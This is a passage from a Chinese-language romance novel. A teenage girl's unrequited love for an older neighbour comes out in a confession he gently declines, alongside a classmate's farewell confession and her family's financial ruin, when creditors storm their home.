时献不喜欢这种不尴不尬的氛围,她是慢热,但这半年相处下来,秦子铭的性格她还是有些了解的,开朗阳光,热心爽快,和他说话无压力,是她很愿意相交的朋友。时献屡次想说点什么,但抬头看到的秦子铭变扭的神情,又觉得强行对话反而会让情况变得更糟。 就这么沉默了一路。 两人到站后即将分开,时献微笑着道别,秦子铭眼神有些闪烁,略点头后什么也没说,就转身走了。 时献看着秦子铭的背影,叹了口气。 也许他们没办法做回朋友,她突然意识到。 时献转身的时候看到程任正向她走来,时献以为自己精神恍惚了,程任难道也放寒假? 正想问他怎么提前回来了,没想到猝不及防被提问。 程任走近,偏头示意了一下秦子铭离开的方向,问道:“那是你同学?” 时献也看了一眼,莫名有点担心,连忙回道:“嗯,同班同学,他家也住这附近,我们回来的时候刚好顺路。” 程任若有所思地点点头,“好相处吗?” 这是什么问题?时献心里想着,人是挺好的,但是他们最近闹的不太愉快,现在话都不和她多说,算相处的好吗? “挺好的,他人挺热心的吧,人缘也挺好的。” 程任听完没再继续问,扯了些别的话题往回走。 “对了程任哥哥,你今年怎么回来的这么早?” “崇安有个项目,我回来负责,想在年前谈下来,就先回来了。” “哦,那郑院哥也和你一起回来了吗?” “你还挺想他?” “不是,就刚好问问,他不是每年都和你一起开车回来嘛。” “嗯,他没回,公司还有事呢,估计临过年才能回来了。” “好吧,那他今年还来我们这一起玩吗?” “这么惦记?我帮你问问?” “啊真不用,算了我不问了。” …………………………………… 有一点被程任说中了,郑院真的是除夕当天回来的,紧赶慢赶才在年夜饭开席之前到了家,和父母吃完了年夜饭就直接奔去程任家。 时献去按程家门铃的时候,郑院刚好到门口。 “小献献,哎呀小半年没见感觉你又变漂亮啦,怎么样,想你郑院哥没?” 时献习以为常地回:“郑院哥还是这么帅气,不对,是比以前更帅了。” 郑院笑着摸了摸时献的头,满意地说:“嗯,还是你有眼光,会说话,没白疼你。” 程任默默打开院门,面带讽意地看着郑院,“你的笑声大到我妈在屋里都听不见春晚的声音了。” 说完盯着他落在时献头顶的手掌,郑院不知道为什么,突然觉得后背有点发凉,迅速收回了手。心里有些纳闷,他这是在怂个什么劲儿? 三人进了屋内,程立万打了个招呼就进书房去了,任清芸笑着忙络招待,端出两大碟坚果盘,又去厨房准备沏壶拿手的果茶,时献对任清芸的手艺好奇,也跟了进去,一边打下手一边和任清芸聊天,厨房内欢笑声不断。 电视里放着春晚,郑院随意地看了两眼,坐在沙发上正吃着核桃,被厨房里的谈话声吸引到,偏头去看,笑着对程任说:“你看小献献这样像不像小媳妇儿?阿姨脾气又这么好,两人特像相处融洽的婆媳,多和谐,比和你聊天还开心呢。” 程任拿起彩虹糖的手停在半空中,脸上有些复杂地看着郑院,“你瞎说些什么?献献才多大,这话能乱说吗?” 郑院才反应过来似乎有些不妥,嘿嘿了两声,含糊过去:“我吃多了脑子糊涂了,你别当回事儿啊,就一玩笑话,别往心里去。” 程任听完,将彩虹糖放回了盘中。 郑院手机响了一声,他拿起扫了一眼,以为是群发的祝福短信,正准备不理会,对方又发了一条,等看清了发件人才知道自己弄错了,回复了过去。 信息又回过来,手机再次连响两声。 程任望过去,问道:“忙什么呢大过年的短信发个不停,恋爱了?” 郑院面色有些尴尬,说:“不是,我恋啥爱啊我,是秀荔,她问我在哪儿呢,要来找我玩儿,我说我在你家,她说她在家无聊能不能过来?” 郑院。 雨幕 不知除夕那晚触动了什么契机,郑秀荔在整个寒假期间,成为了程家的常客。先是和郑院一起,然后是三人行出去,几次之后,就渐渐变成了她和程任的单独见面。 时献被郑院热络地叫了几次,她推脱不过只去了一次,就谎称自己作业紧张,再也没应。 假期里出不出去玩她并不在意,令她无望的,是程任的态度。 他在后面的每一次出行,都没有叫上时献,甚至在时献拒绝以后,微笑地点头,仿佛她不去是一件值得赞赏的事情。 时献第一次感觉到自己被排离在程任的圈子之外。 晚饭的时候,任清芸过来串门,手里拿着两盒面膜递给张玉淑,说:“我妹妹在澳洲寄过来,说特别好用,拿给你试试。” 张玉淑笑得一脸欢喜,回道:“是吧,我正愁不知道最近要换什么牌子,之前跟风用过几个大火的,也不怎么样,这下好了,今天晚上就试试。” 两人有说有笑聊了会儿护肤和保养,张玉淑突然想到什么似的,问任清芸:“你家程任是不是好事将近啦,我好几次都看到有个小姑娘来找他,是谈朋友了吧?” 任清芸顿了会儿,似有些为难,“也不算,问他也说接触接触看看,估计还没捅破窗户纸,我也不好催,就由着他们年轻人一起玩,以后要是能走到一起也好,不能的话,接触接触总是没错的” 张玉淑赞同地点头,“可不是,程任也这么大了,过完年二十五了吧,长得好,事业也好,赶紧定下来你也放心了,我看那姑娘,长得也是斯斯文文的,看着脾气好,是个会过日子的。” 任清芸想了想郑秀荔清秀的模样,心里大体满意,笑着说道:“哎孩子的事我就不操心了,由着他们吧,你说是吧,儿大不由娘,哪里管得了那么多。” “那我就等着吃你家的喜糖了。” “还早还早,八字还没一撇呢。” ……………… 时献站在房门外端着空水杯,听完了全程,双腿犹如灌了铅一般不得向前挪动半分,她缓了缓,转身回了房间。 深冬将尽,寒冷的势头也渐渐得到了扭转,时献在逐渐回温的天气里,迎来了开学。 霜冻开始消失,院子里的绿植也开始抽芽,重新有了活力,早春的生机从微小的生命复苏上开始有迹可循。 时献脱了羽绒服,改穿厚外套,裹了一个寒冬的臃肿终于可以稍微轻装上阵。 高一下学期的课程开始变难,高二在即,时献紧张感增加,她不是天赋型选手,有今天稳定居前的成绩全凭自己努力积累。但实验班不缺努力者,且有天赋智商高的人比以往稍加努力就能轻轻松松将排名往前拨一大节,时献羡慕非常,却也只能安慰自己要相信笨鸟先飞。 在闷头上课的匮乏日子里,时间的流速开始增加,转眼迎来清明。 这天早上张玉淑记错了日子,以为时献放假,早上关了闹钟睡了过去,等时献被生物钟叫醒,已经七点半了,她仓促的收拾了一番,往书包里塞了几个面包就打车去了学校。 错过早自习,踩着第一节课的上课铃进门,任课老师的脸色不是太好看,但好在时献一向勤勉,从不迟到,老师皱了皱眉也就没再说什么。 时献气喘吁吁的坐到座位上,翻开课本让自己的思绪回笼。 清明前的最后一天以语文课结尾,时献的作文被再次当成范文当堂解读,教他们的语文老师是京都中文大学毕业的,平时要求格外高,也看不惯现在高中生里流行的那套好高骛远的轻文重理的做派,平时鲜少夸人,可今天却当堂狠夸了时献遣词造句的得体和逻辑的衔接通畅。其实以一中学生的实力来说本也不算什么,毕竟实验班每届都有不少偏才怪才,几乎每届文理状元也基本被包揽,大家早就见怪不怪。但语文不像理科,用绝对的数字说话,这种给分感性,又难拉开太大距离的学科,好到时献这个份上的实在是不多见,其他不说,光作文维持在临近满分这点,就够让人咋舌的了,何况她其他科也不偏。 课后依旧议论纷纷,时献没有理会这些讨论,将作文本收回书包,走出了班级。 临近清明,雨水充沛,下雨是常事,时献走到教学楼下伸手向书包里取伞,摸了一圈没有找到,才反应过来自己早上忘记放进去了。 抬眼看楼外,雨的势头也不算大,快点冲到校门口拦车的话,应该不至于淋的太厉害,她将书包抱在胸前,抬脚便要往外迈。 身体突然受阻,有人拉住了她的胳膊。 时献回头,秦子铭看着她,问道:“你没带伞吗?” “早上太急忘记拿了。” “所以你就打算这样淋回去?” 时献有种被长辈教训的感觉,看着教学楼到校门前长长的距离,心虚地回:“也不是很远,而且,雨没有很大,我到门口打车到家不太淋得到。” 秦子铭一脸无奈,撑开自己的伞,罩在两人头顶,刚好能容纳。 “你跟着我走,我的伞大,反正我们同路。” 再拒绝就很矫情,时献点头道谢。 刚走到校门口,时献就看到往里走的程任,他身高在人群中较有优势,衣着气质也明显,此刻逆流往里走,太显眼了。 时献眼中闪过惊喜,还没开口就撞上程任的眼神。 “献献。” 时献心颤了一下,她好像很久没听程任这样叫自己了。 程任走近,定住,对着时献说:“张姨说你没带伞,她今天赶着接时慕,不方便过来。” 说完又偏了眼神看向一旁的秦子铭,淡淡看了一眼,问时献:“这是你同学?” 时献说是。 程任礼貌地说:“你好,我来接时献回家,车停在旁边,送你们一起回去吧。” 秦子铭早在一旁看到时献的反应了,从程任出现的那一刻开始,他就察觉到时献的变化,那种因为激动和惊喜而忍不住的神情,身体微微前倾下意识想要朝他靠近的动作,突然丰富又克制的情绪,无一不在提醒他,眼前这个人,就是她喜欢的那个人。 秦子铭内心有些挫败感,看了眼停在路边的车,内心那点少年的自尊心作祟。 他微错开对视的眼神,说:“不用了,我坐车回家就行了,谢谢。” 偏头对着时献说:“你回去吧,那我走了。” 说完想将伞往前送她过去避免被雨淋到,还没动作程任就先一步将伞往前靠过来,他身体没有动,只将伞撑离身体,两人之间的距离被重叠的伞遮住,水滴沿着伞面从各个角落散下来,砸在地面,时献踩着地上的积水从伞下走过去,像完成了一个顺利交接的仪式。 回到车里,程任递给时献一盒抽纸擦拭,打开暖气,车内温度很快开始回升。 车窗前的雨刷来回摆动,雨水从玻璃上落下又被推走,反反复复。 “今天送你的男生是上次和你一起的那个吗?”程任扶着方向盘问道。 “嗯。” 时献的声音有点闷,程任偏过头看了她一眼,继续问道:“他就是喜欢你的那个男孩子?” 时献原本低着头,听到这句话立刻精神了起来,她定定地看向程任。 “你……怎么知道?” 程任突然轻笑了一声,说:“小孩子藏不住心思,他那眼神看看就知道了。” 时献如临大敌,不知道为什么,总觉得他话里有话,好像在暗示些什么。 时献强迫自己冷静下来,不要被程任的一句话带跑,她顿了片刻,复又开口道:“你也说了是小孩子,他以后什么情况谁也说不准,现在的喜欢不代表什么。” 程任握住方向盘的手指曲起,在上面轻轻敲打着,毫无节奏,似有烦躁。 “你说的对,以后什么情况谁也说不好,所以不用着急对现在的自己下定论,等你们长大了,会发现以前的很多想法在现在看来都很天真,有些感情和情绪缺乏判断的能力,所以不要过早作出决定,耐心一点。” 时献莫名觉得,自己隐藏了很久的感情在某种程度上被提前宣判了死刑。 她往怀里拢了拢书包,略沉静了会儿,低着头说:“那你现在已经可以清楚地判断自己的感情和情绪了吗?” “你知道自己想要什么样的感情了吗?程任哥哥。” 时献的声音有些轻,语气却是坚定,程任手指有些发麻,身躯犹如被定在了座位上,一时有些僵硬。 他从时献的叩问中感到一丝慌张,静默了一小会儿,等红灯的间隙,回转的视线对上时献的目光,他第一次感觉到,那目光有些灼人。 时献没有再移开自己的视线,也没有被程任的神色吓退,带着十七岁少女的探问、好奇、甚至是质问的态度,迎面而上。 风雨前夜 程任最后是被身后车辆的喇叭声唤回思绪的,才反应过来红灯已经转绿,余下的路程,他没有再回答时献任何一句话。 两人一路无言,和过往有说有笑的氛围截然不同,安静的过分。 到家后时献略显生疏地道了谢,快步跨进了自家院子,程任看着她的背影被院门阻断,第一次生出一种无力感。 …… 暑假的时候程任在京都忙于工作没有回来,一直到中秋,他也没有回,这期间时献忍住了无数次给他打电话的冲动,想告诉他自己写作大赛获奖了,告诉他自己数学又变差了,告诉他学校附近新开了一家好吃的甜品店,电话忍住了,短信也编辑了又删,直到她终于从张玉淑这里听到程任和郑秀荔在一起的消息。 “这样啊。”时献恍作不在意的说。 张玉淑一边看着电视一边高兴地说:“是啊,我就说他两合适,郎才女貌的,你清姨说小郑现在是京大的研究生了,说起来他们还要不好意思,我看也不用,程任这孩子多优秀啊,当初不也是要给保研的,自己现在事业做的这不蛮好嘛。” 张玉淑拿起遥控器换频道,不解的说:“你说现在这些电视剧都瞎拍的,两个人差了十几岁也要在一起,要放在我们那时候,十八九岁就生孩子的,女儿嫁的老公比自己小不了两岁,这不乱套了。” 时献原本在一旁不吭声,听完反驳道:“感情是人家自己的事,真要不介意年龄也是他们自己的事。” 张玉淑诧异地想说你一十几岁的小姑娘对这事怎么还这么多看法,刚张口就被手机铃声打断,她面色有些不悦地接起。 “城东的房子都拿去抵押了,现在这套也要拿去?你考虑清楚没,工程款没回笼怎么就你一个人一个劲往里投钱呢?” “你说的那个合作的陈总和张总呢?没钱垫材料你有钱,你垫多少了你算过吗?” “我不管,家里就剩最后这点存款了,家里不要过日子的?上学不要钱的?我不等你的工程款,我就守着这点存款……” 显然是时中伟的电话,两人又在吵架,最近这半年两人吵架的频率攀升,都是在为同样的问题在吵,时献叹了口气,转身上楼。 时献坐在沙发上发呆,不知过了多久,直到时慕过来伸手摸了摸她的脸,“姐姐,你怎么哭了。” 时献恍惚转醒,抹了一把脸,湿了一手背。 时慕有些担心地问她:“妈妈骂你了吗?” 时献擦了擦脸,摇头道:“没有,怎么了,为什么这么说。” 时慕的脸一下子有些愁苦,往时献这边靠了靠,“爸爸最近老是和妈妈吵架,说钱不够,工程款什么的,我听不太懂,就是有点害怕。” “没事,不用怕,大人的事情他们自己会处理好的,不怕。”说完搂了搂时慕。 时慕被安抚好,嗯了一声,过了会儿又抬起头,看着时献说:“那你为什么哭?” 时献偏头抱住时慕,将下巴抵在她的后背肩膀上,说:“就是上课太累了,厉害的人太多了,我没考好。” “时慕,你慢点长大吧。” 时慕似懂非懂,疑惑地点了点头。 春去冬来,时间过的飞快,时献这天回家的时候被骤降的温度的风吹的直哆嗦,她裹紧身上的棉服,想着元旦将近,可以好好休息一下。 刚到自家院门外,任清芸就从里面出来,看到时献脸上立刻浮现温柔的笑意。 “要放假了吧,听你妈妈说过阵子都要期末考了是不是?” 时献甜甜地笑着,回道:“嗯,再坚持一个月就放假啦。” 任清芸看着她长大,尤其喜欢时献这清甜可爱的长相,像颗鲜嫩的水蜜桃,忍不住双手捧着她的小脸蛋,心疼地说:“学习也不要太辛苦呀,你看你这小脸,最近都瘦了。” 时献有些不好意思,捏了捏自己脸颊上的肉,说:“还好还好,等放假了去清姨家多吃几顿就好了,清姨过年做太多好吃的了,每年过年都要胖。”说完腮帮鼓了鼓,假装长胖的样子。 任清芸被逗笑,正准备应下,又突然顿住,有些遗憾地说:“哎呀,今年不行了,今年我和你程叔叔要去澳洲过年。” “是清姨在澳洲的妹妹家那儿过年吗?” 任清芸说是的,崇安的冬天太冷,趁着现在还跑得动,过去权当度假了。 时献欲言又止,想问程任去不去,又忍住了。 清姨和叔叔都去,他肯定也会去,也许,秀荔姐也会一起去。 时献眼神黯淡了下来,任清芸以为她是舍不得,摸了摸时献的后脑勺,说年后给她带礼物,看外面太冷,冻得鼻头发红,就让她赶紧回家了。 3. 表白 早上六点,时献被闹钟吵醒,她有些生气地在床上翻了个身,抬手习惯性地伸到熟悉的位置按掉闹钟,费力地活动了双眼,才找回一丝清醒。 刚抬腿要去穿校服,突然反应过来,今天好像放寒假了。 时献被自己蠢到,将校服裤丢在一边,往后躺去,卷着被子滚了一圈,打算再睡个回笼觉。 手机突然响起短信提示音,时献从被窝里伸手去摸,探出头眯眼去看内容。 今天有空吗? 看了眼发件人,秦子铭。 时献蹙眉,犹豫了片刻,回过去。 在家,怎么了? 对方似乎手机不离手,信息很快回复。 有事找你,能不能出来见一面? 时献心里隐约有种预感,手指打字。 有什么事吗? 秦子铭似乎坚持要约她出来,回复:见我一面就行,有事跟你说,别拒绝我。 时献已经完全清醒,将手机按在胸口想了会儿。 逃避是没有用的,伸头缩头都是一刀。 好吧,你定时间和地点。 秦子铭家离得近,就直接约在了江南里旁边的咖啡店。 上午九点,时献如约而至,秦子铭已经在里面等着了,时献从玻璃窗外看到他的侧面,深叹了口气,抬脚入内。 入门处的铃铛响起,秦子铭抬头,看到时献走过来露出了笑意,时献内心忐忑,笑容有些牵强。 服务生走过来站在一旁等待点单,秦子铭问道:“要喝点什么?拿铁行吗?” 时献说行。 等咖啡的间隙气氛有点尴尬,时献手里没有东西,一时感到局促。 秦子铭先开了口,“可能你已经猜到我今天为什么约你出来了。” 时献想法被拆穿,对上他的视线,秦子铭眼神坚定,带着不易察觉的期待。 他缓了会儿,又说:“你猜的对,我今天约你出来,就是想和你说,我喜欢你。” 秦子铭语气如常,似乎像在说,今天天气很好一样。 猜想被落实,紧张反而好了点,时献坦然点头道:“我知道。” 秦子铭继续说:“但是你并不喜欢我,也不打算接受我,对吗?” 时献内心有些愧疚,回道:“对不起啊。” “你不用说这个,我早就知道会是这样,但还是想清楚的告诉你,不想让自己后悔。”秦子铭自嘲地笑了下,他早就知道结局,其实并没有抱有什么期待,但亲耳听到拒绝,还是…… 他垂了眼眸,声音有些低沉,“时献,你喜欢的人,喜欢你吗?” 时献被问到命门,心颤了一下,脸上表情瞬间凝滞,说:“这不重要,我也不想谈这个。” 秦子铭被她眼神里的在意和戒备伤到,果然,只要一说起那个人,时献就会变得和平时不一样,而自己对她来说,可能连朋友都算不上吧,实在是差太多了。 服务生送上刚冲好的拿铁,短暂地打断了两人之间不算融洽的气氛,时献拿起一旁的小勺搅拌。 杯中的咖啡被外力推动,一圈一圈的绕出波纹。 秦子铭没有再提程任,时献也收回戒备感,两人又回到了正常状态,秦子铭不停地问着有关时献的问题,时献自觉诧异,却也认真一一回答了。 一杯咖啡见底,两人喝的并不快,转眼一个小时过去了。 秦子铭问完了最后一个问题,神色已渐缓和,似乎自己想要了解的都有了答案。 两人一同起身离开,秦子铭将她送到江南里正门,时献道了再见,秦子铭却没应,只定定地看着她,时献没有立刻转身,问他:“你是不是还有什么事没说?” 秦子铭笑了,无奈地摇摇头,“你太聪明了,本来不想告诉你的。” “我要出国了,语言和申请都过了,等过完年我就不回来上课了,学校这边手续也办好了。” 时献惊讶地问:“怎么这么突然?之前没听你说起过。” 秦子铭苦笑道:“你也没仔细了解过我啊,时献同学。” 时献有些负疚地轻笑了下,说:“我确实不是个合格的朋友,对不起啊。” 秦子铭故作夸张道:“行了啊,今天都跟我道歉几次了,你别,我真不想再听你跟我说对不起了,大家都自在点,行吗?” 时献笑着说好。 “你去哪个国家?学校和专业呢?” 秦子铭回道:“加拿大,先去念一年高中,再申请那边的大学,我想去那边学自己喜欢的专业,很早之前就想好了。” 时献看过去,秦子铭说到未来规划时眼神坚定而自信,知道他正努力地在实现自己理想的路上前行。 有理想的人是会发光的,时献由衷地为他感到高兴。 秦子铭看着时献认真的说:“这个世界上不是每个人都有天赋的,也不是每个人都清楚的知道自己想要什么,所以如果能拥有自己喜欢的事又恰好有天赋,那就是最幸运的事情了。时献,你很优秀,也很幸运,也有你的天赋,我总觉得吧,你以后会成为一个很优秀的作家。” 时献难得没有脸红,她知道秦子铭话里的真诚,坦然地接受了他的夸赞。 想到遥远而陌生的加拿大,时献突然有些伤感,叮嘱道:“去了国外,不比在家里,外面没国内太平,你自己一切小心,照顾好自己。” 秦子铭第一次听到时献露出这样关怀的神态,一时有些动容,强忍着眼眶的酸意,落到嘴角变成了温柔的笑。 “抱一下吧。” 秦子铭突然上前,拥住了她。 时献来不及反应,不好推开也不好回应,干脆呆滞在原地,没有动作。 秦子铭闻到她发间清新的柑橘香,有些恍惚,他看了眼不远处的身影,停了几秒就放开了。 再次对上时献视线的时候,秦子铭脸上带着一丝调皮,冲她眨了眨眼睛。 “推你一把,你可别怪我啊,时献。” 时献不知所云。 他转身离开,留下一个潇洒的背影,一手揣兜,一手向后摆了摆,再没回头。 “走啦,时献。” 时献看着秦子铭的背影渐行渐远,直到消失在眼前。 她第一次感觉到离别的伤感,说实话,秦子铭是她唯一一个异性朋友,他无疑有着少年几乎所有的优点,她虽然没办法喜欢上秦子铭,却十分欣赏。 少年已不见,时献收回视线,转身就看到程任站在不远处,他面色微沉,情绪似乎不太好。 时献想到刚刚秦子铭的拥抱和那句让她听不懂的话,反应了过来。 “程……” 刚开口就被程任打断。 “你们刚刚,在干什么?” 时献被程任质问的语气吓到,内心越发慌张,想要立刻解释。 “我们,不是,他只是我同学……” 程任似乎有些激动,走近问道:“同学就可以这样抱你?” “他喜欢你你不知道吗?” “你不喜欢对方为什么要接受?” 程任音量比平时大,时献太久没见他,突然见到,还来不及开心,就被程任教育,心里的委屈陡然上升,又想到程任已经和郑秀荔在一起,长久以来积攒的情绪突然开了阀门,倾泻而出,她不管了。 “我知道又怎么样?你也说了,少年的喜欢并不长久,现在的喜欢也不能代表以后,那我知道他喜欢我又有什么关系?” 程任不赞同地回道:“有什么关系?你是女孩子,敷衍自己的感情吃亏的是你自己,你现在才多大?就这么仓促地考虑感情,以后想和什么样的人在一起不行?” 时献被戳中伤处,瞬间红了眼眶,她脑中一片空白,什么都顾不上,大声喊道:“我想和你在一起你能同意吗?” 孤勇 程任被她吼地后退了一步,突然哑口。 时献眼中犹如暴雨来袭,眼泪簌簌地往下掉,带着哭腔问他:“你都知道对不对,所以这一年才躲着我,既然你不喜欢我,为什么要管我和谁在一起?” “你知道自己想和什么样的人在一起了,为什么我就不能知道?” “因为我比你小吗?因为我没成年?” 时献一改过往的隐藏和怯懦,步步靠近,句句紧逼,她放任泪水在脸上肆意。 她不能认同,她无论如何也没办法认同,年龄和感情怎么能划等号?成年人拥有成熟理智的判断力,可凭什么要否定她的判断?有些人终其一生浑浑噩噩不知心之所向,可她从很早以前就找到了,横在中间的因素那么多,不是没有自我怀疑过,可这么长时间过去了,每一天醒来,都能清楚地感受到自己的心意,铿锵有力,随着心跳起伏,从未减弱半分。 程任看到她眼中苦楚愈甚,心中只觉得像被人揪住一样发疼,他被这一句句的叩问猛烈敲击至胸腔,脑中似乎听到震耳欲聋的回响。 他突然就不敢直视时献了。 时献伸手猛地抹了一把泪,似乎藏了多年的秘密抖落出来也没有想象中可怕,她甚至感到了轻松,长久以来背负着不敢透露的情愫,现在看着程任的反应,只觉得自己简直欲盖弥彰。 对啊,他那么聪明的人,一眼就能看穿秦子铭对自己的心思,那自己到底凭借着怎样的侥幸心理会觉得他没有察觉到自己早已变化的感情呢? “我瞒不下去了。” “我确实喜欢你很久了。” “不是拿你当哥哥,不是一时兴起,也不是小女生不成熟的心态。” 她重新抬起头,迎上程任的目光,神色坦荡且毫不退缩。 “我从很早之前就对你有着不一样的依赖,对于这一点我从来没有多想,可能是以前还太小了吧,真正确定自己的心意是15岁那年夏天,你可以选择不相信,也可以不接受。” “你甚至可以觉得我年少无知,冲动莽撞。” “可我确实,清楚地确定自己,喜欢你。” 程任的喉结上下滚动了一下,似乎在消化某种巨大的情绪,他眼中神色复杂,不知道是震惊多一点,还是不信任多一点。 时献见他神色不明,继续道:“你可以不相信我的感情,但你不能否定我。” 身旁是小区进门后的主干道,临近中午,来往的车辆开始增加。车轮碾过地面,带着寒风一扫而过,时献被冷风吹地打了个冷颤,情绪渐渐回稳。 她开始看懂程任眼里的情绪了。 他沉默不是被说服,而是不会给回应,他看起来是那么难过,是因为自己不能再做回从前那个乖巧的妹妹,他们过往的一切因为今天的摊牌失去了回旋余地。 她终于彻底地,让他失望了。 良久,一直沉默的程任终于开口,他声音暗哑,透着浓厚的疲惫,“我没有不相信你的感情。” 时献猛然抬头,眼中燃起希望,犹如溺水的人突然抓到一根浮木。 然而,接下来的一句话又将她按回水底。 “你的感情很珍贵,你自己收好,以后记得不要这么轻易就送出去。” 路边的地面有块存了积水的坑洼因为低温结了冰,一辆车从冰面上碾过去,冰面应声而碎,时献偏头看了一眼,冰冻已裂成几十道碎痕。 除夕夜越来越近,时献却丝毫感受不到它的气氛。 每年过年都去串门的程家此时大门紧闭,任清芸和程立万早已动身去了澳洲,程任也在表白的隔天离开了家。时献站在阳台上看着他提了小型差旅行李箱出了家门。 这一次她没有开口呼喊的冲动。 而自己家,临近除夕时中伟也没有回来,张玉淑也是早出晚归,经常打不着照面,时献察觉到不对劲的气氛,一边安抚着敏感的时慕,一边等待着父母的归来。她在时慕面前佯装无事,一个人的时候却察觉到慌张的情绪比以往出现的更频繁。 腊月二十八,家家户户已经开始张灯结彩,提前换上了新年的装扮,江南里作为这一带的高档别墅区,物业自然置办的比平常节日更加郑重。 小区正门处有人在写书法免费赠送春联,时献去领了两副,刚排完队,就看见时中伟和张玉淑面色暗沉地向里走来。 车呢?时献疑惑地想,时中伟的工地离这里比较远,在郊区,平时往返必定开车,怎么会两个人一起走回来? 而且,她不安地发现,两人的衣服也有些脏了,张玉淑面色看起来尤为憔悴。 时献刚走进,还没开口,就看见张玉淑冲她摆摆手,意思是先回家。 三人一路无言地走回家,刚进门,时慕就迎上来,十分开心的想说话,时献冲她使了个眼神,时慕察觉到气氛的不对劲,顿时安静下来。 时中伟和张玉淑坐在沙发上一言不发,时献倒了两杯水,端过去,坐在一旁等着。 过了好一会儿,时中伟终于开口说了第一句话。 “有个事得跟你们说,咱们得搬家了。” 话刚说出口,张玉淑就开始低声抽泣。 时慕坐过去伸手环着张玉淑,不停地安慰。 时献被消息震到,看着时中伟说:“爸,为什么我们要搬家?要搬去哪里?” 时中伟眼中遍布血丝,双眼泛红,整个人犹如困兽般无助道:“家里的房子被拿去抵押了,现在银行的钱还不上,要被收回去,我们,可能要先回老家。” 时献被这突如其来的消息炸得思绪全无,在她的记忆里,家里几乎从来不会为钱烦恼,从小到大的生活条件一直是优渥甚至是奢侈的,时中伟对整个家来说一直是个定海神针般的存在,但现在的他整个人看起来焦虑又颓败,她突然担心这根定海神针会随时倒下来。 门铃声响起,同时伴随着急促的敲门声,还有数人不耐的呼喊声,时中伟和张玉淑脸色随之一变,张玉淑恐惧地看着时中伟,小声啜泣:“怎么办,要怎么办。” 时中伟伸手安抚地拍了拍她的后背,“我去开门看看,别怕。” 时献眉头紧蹙,直觉一场暴风雪即将到来。 …… 崩塌 时中伟开了院落的大门,一群人就涌了进来,时中伟被人揪住衣领推进内门,原本宽敞的客厅此刻显得异常拥挤。 时慕被吓到颤抖,抱住张玉淑不敢说话,面上都是惊恐。 时献内心犹如擂鼓,她看了眼时慕和张玉淑,强迫自己稳下心神,走到时中伟身后,挡在张玉淑和时慕的身前。 为首的一个中年男人双手插着腰,十分不快地说:“材料款是你们陈总找上的我,当初说好的一月一结,现在你们工程撑不下去是你们承包方的事,材料款今天说什么一分钱也不能少!大家都是要养家糊口过日子的,今天你说什么也得结给我!” 时中伟好言解释:“张老板,你知道的,这个工程不是我一个人的,我们三个人合伙,工人工资我已经承担过了,材料款是陈明负责,你不能现在找不到他就赖在我头上,我自己也没有拿到钱。” 那人没有一点耐心听时中伟解释,直接打断,“我不管你们之间什么规矩,现在就是你们这个工程欠了我材料款没有结账,你说你没拿到钱,谁知道你们私底下怎么定的规矩?陈明现在活人死人都找不到,你两合伙,我当然要找你!” 旁边一个皮肤黝黑的高个男人也大声嚷嚷起来,“时老板,我们家你知道的,当初你们张总说让我包了你们工程期间的工人盒饭,这都三个月了,还没跟我结账,本来说好两月一结的,这都拖了多少天了,马上要过年了,我家里也有老小,你给我结算掉好吧,我不耽误你们家过年。” “对啊今天必须给我结账!” “不结我们就赖在你们家不走了!大过年的谁不想回家好好过年!” …… 两人挑起了群体的情绪,纷纷吵着要时中伟结了各种款项,时中伟双手不停向下摆,试图安抚众人情绪,奈何根本没人听得进去。 一群人吵得不可开交,时中伟从人群中大声呼喊了几句,终于将嘈杂声暂时压了下去。 “各位听我说,我知道大家都急着过年,也知道工程拖了大家的款项,但是这件事毕竟不是我一人的事,我们当初三个人分工不一样,承担的开支也不一样,我现在真的一分钱都没结到,陈明和张锋两个人把甲方的账款都结走了,我现在也联系不上他,而且我刚刚掏了自己的钱垫上了工人工资,现在真的没办法给各位结账,我想……” 为首的人再一次打断时中伟的话,他似乎比刚才情绪更加激烈,脸色因为大声说话而充血涨红,“你什么意思?说来说去就是不付钱是不是?” 说完冲着身旁的人说:“你们都看见了啊,这么大的老板欠钱不还啊,兄弟们这么点货款拖着不结,什么意思啊,要赖账啊?你看看你这住的别墅,这么豪华,跟我说没钱?骗谁呢?” “要不要脸啊!” “兄弟们,今天拿不到钱我们就不走了,赖在着,反正过年拿不到钱回家也没法过年!” 有人开始踢桌椅,有人开始四处翻箱倒柜,整个客厅瞬间陷入混乱状态,墙上的挂件、橱窗上的摆设品散落一地,杯盏也被砸碎。 时中伟和张玉淑放在餐桌上的手机被人连着餐具一起带到了地上,时献刚想去捡,就看见来回推搡的人群将它们踩了个稀碎。 时中伟的声音刚发出就被人群的攻击声淹没,时献张口想帮着辩驳,突然听到身后时慕的呼喊声。 “妈妈!你怎么了!” 时献脑中一片空白,转身去看张玉淑,只见她双眼紧闭,整个人一头栽在沙发上,直接昏死过去,脸色惨败得不成样子。 时中伟奋力拨开人群,冲过来将张玉淑抱到沙发上平躺放好,时献迅速去拿手机拨打120。 上门讨债的众人起先还不肯走,直到看见张玉淑昏厥过去的模样,担心闹出大事,只好先行离开了。 市一院离得很近,很快就有救护车过来,三人一起跟着去了医院。 张玉淑被送去急诊,时慕坐在等候区的座位上不停地哭,哭到最后累了直接靠在时献怀里睡着了。 时中伟坐在一旁的椅子上,低着头沉默不语,双手紧握,手上青筋暴起。 时献定定地看着时中伟,想出声叫他也不敢。 时献抬头看了看四周,走廊里人很少,偶尔有护士经过的脚步声都带着回音,头顶的灯也显得有些昏暗不明,泛着冷光,时献突然后知后觉地不知道因为寒冷还是恐惧整个人忍不住地颤栗起来。 急诊室的门打开,护士叫到张玉淑的名字,在呼喊家属,时中伟上前去应。 张玉淑被推到一旁的床位休息,时献叫醒时慕,两人守在一旁不敢说话。 时中伟被医生叫走谈话。 时慕用手扒着张玉淑的床沿,双眼红通通地看着时献,带着哭腔说:“姐姐,我害怕,妈妈会不会有事。” 时献此时有酸意冲上眼睛,她强忍着想哭的感受,尽量平稳自己的声音说:“不怕,没事的,医生不是说没事了吗,让妈妈先睡一觉,她被吓到了。” 时慕听完似乎有被宽慰道,似信非信地嗯了一声,再没说其他,只坐在一旁一动不动地看着张玉淑。 时中伟回来的时候,张玉淑还没醒,时中伟迈着虚浮的步伐走近,时献回头去看,差点吓了一跳,只见时中伟双目红肿,头发也有些凌乱,整个人面如土色般颓败。 时献突然慌到不会开口说话。 时中伟先开了口,“你带着小慕先回家,我今晚留在医院陪你妈,医生说等你妈明早醒过来就可以出院了。” 时献知道事情没这么简单,声音控制不住地颤抖,“爸,妈妈是不是不太好。” 说完又加了一句,“你别瞒我,我总要知道的。” 